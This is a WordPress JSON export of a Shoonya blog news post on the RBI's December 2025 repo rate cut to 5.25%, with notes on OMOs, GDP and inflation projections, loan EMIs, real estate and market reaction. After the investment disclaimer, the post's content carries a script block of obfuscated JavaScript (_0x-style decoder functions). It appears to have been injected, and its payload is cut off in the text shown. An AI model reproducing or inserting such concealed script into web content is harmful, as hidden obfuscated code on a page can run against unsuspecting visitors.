{"id":15813,"date":"2025-12-05T10:41:26","date_gmt":"2025-12-05T10:41:26","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=15813"},"modified":"2025-12-05T10:41:26","modified_gmt":"2025-12-05T10:41:26","slug":"rbi-monetary-policy","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/rbi-monetary-policy\/","title":{"rendered":"RBI Reduced Repo Rate by 25 bps Today Inspite of Record High GDP"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/rbi-monetary-policy\/#Key_Announcements_of_RBI_MPC_Meeting\" >Key Announcements of RBI MPC Meeting&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/rbi-monetary-policy\/#Effect_of_Repo_Rate_Cut\" >Effect of Repo Rate Cut &nbsp;<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>RBI Reduced Repo Rate by 25 bps Today Inspite of Record High GDP<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>RBI MPC meeting<\/strong> has been in full swing today, and markets are reacting positively to the announcements. While the experts were divided about the rate cut announcement today, as Q2FY26 GDP surged to a record high, but RBI finally announced a 25 basis points (bps) rate cut in today\u2019s <strong>RBI monetary policy meeting<\/strong>.<strong>&nbsp;<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-key-announcements-of-rbi-mpc-meeting-nbsp\"><span class=\"ez-toc-section\" id=\"Key_Announcements_of_RBI_MPC_Meeting\"><\/span>Key Announcements of RBI MPC Meeting&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>RBI repo rate <\/strong>reduced by 25 bps to 5.25%\u00a0<\/li>\n\n\n\n<li>\u20b91 lakh crore to be infused in the markets via<strong> Open Market Operations (OMO) <\/strong>for boosting liquidity<strong>\u00a0<\/strong><\/li>\n\n\n\n<li>A 3-year USD\/INR swap of $5 billion will be conducted in this month of December<\/li>\n\n\n\n<li>CPI inflation for full FY26 projected at 2%, down from 2.6% earlier<\/li>\n\n\n\n<li><strong>GDP growth<\/strong> projected at 7.3% for fiscal year 2025-26, up from 6.8%\u00a0<\/li>\n\n\n\n<li>Bond yields drop by 3 bps after OMO announcements \u2013 10-year benchmark yield at 6.47%<\/li>\n\n\n\n<li>Agriculture continues to be a major growth driver\u00a0<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-effect-of-repo-rate-cut-nbsp\"><span class=\"ez-toc-section\" id=\"Effect_of_Repo_Rate_Cut\"><\/span>Effect of Repo Rate Cut &nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Effect on Loan EMIs: <\/strong>As the <strong>repo rate<\/strong> is further reduced to 5.25%, down by 25 bps, the loan EMIs, especially the home loan interests, are set to fall as forecasted by the experts. This can, in turn, reduce the EMI burden for the borrowers to some extent.\u00a0<\/li>\n\n\n\n<li><strong>Effect on Depositors:<\/strong> For the fixed deposit owners, the reduced repo rate can be a concern; however, the rate cut won\u2019t be implemented for FDs immediately. Thus, the interest rate earned by the fixed deposit owners won\u2019t drop suddenly. Rather, the banks will perhaps cut the deposit rates slowly, especially for the short and medium-term deposits.\u00a0<\/li>\n\n\n\n<li><strong>Effect in the Real Estate Sector: <\/strong>As per<strong> <\/strong>experts, this 25-bps <strong>repo rate cut<\/strong> can be a game-changer for the Indian real estate sector. Reduced rates can reduce home loan interest, which can boost the demand for properties, especially for the affordable and mid-priced properties. These properties are highly sensitive to interest rates. As with this rate cut, the RBI in total, reduced 125 bps since last year, which has a huge positive impact on the real estate sector. The housing market did extremely well in 2025, and this rate cut is expected to set the ground for 2026\u2019s solid performance as well.\u00a0<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Share Market Reaction&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The announcements made in the <strong>RBI<\/strong> <strong>monetary policy committee<\/strong> today have positively affected the share market. The equity benchmark indices Nifty 50 and Sensex gained over 160 points and 400 points, respectively, till 1 p.m. in today\u2019s market session. However, the broad market indices, such as the BSE midcap index, are almost flat, while the BSE smallcap index shed around 367 points.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:<\/strong> https:\/\/www.moneycontrol.com<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/strong>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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While the experts were divided about the rate cut announcement today, as Q2FY26 GDP surged to a record high, but RBI finally announced a 25 basis points (bps) rate cut in today\u2019s RBI monetary policy meeting.&nbsp; Key &hellip; <a href=\"https:\/\/shoonya.com\/blog\/rbi-monetary-policy\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;RBI Reduced Repo Rate by 25 bps Today Inspite of Record High GDP&#8221;<\/span><\/a><\/p>\n","protected":false},"author":17,"featured_media":15824,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[5879,4712,1216,5987,4715,6655,4716],"class_list":["post-15813","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-fiscal-year","tag-inflation-and-interest-rates","tag-monetary-policy-committee","tag-rbi-monetary-policy","tag-rbi-mpc-meeting","tag-rbi-mpc-meeting-2025","tag-rbi-repo-rate"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>RBI Monetary Policy: Repo Rate Slashed By 25 Basis Points to 5.25%<\/title>\n<meta name=\"description\" content=\"This 25-bps repo rate cut is expected to boost the economy further; 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